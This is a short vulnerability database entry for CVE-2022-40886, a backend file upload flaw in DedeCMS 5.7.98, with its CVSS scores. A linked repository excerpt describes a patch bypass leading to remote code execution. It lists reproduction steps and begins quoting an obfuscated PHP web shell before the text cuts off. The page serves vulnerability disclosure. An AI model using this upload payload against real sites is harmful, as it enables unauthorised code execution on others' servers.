7.2
CVSSv3

CVE-2022-40886

Published: 03/10/2022 Updated: 04/10/2022
CVSS v3 Base Score: 7.2 | Impact Score: 5.9 | Exploitability Score: 1.2
VMScore: 0

Vulnerability Summary

DedeCMS 5.7.98 has a file upload vulnerability in the background.

Vulnerability Trend

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dedecms dedecms 5.7.98

Github Repositories

Dedecms-v57101-RCE Vulnerability Description Since CVE-2022-40886 is not fully fixed, Dedecms still has a file upload vulnerability, leading to RCE Vulnerability to reproduce Log in to the backend of the website Upload the file hhhphp, the content of the file is as follows: <?php $x='sys';$xx='tem';$xxx=$x$xx;$y='di';$yy='r'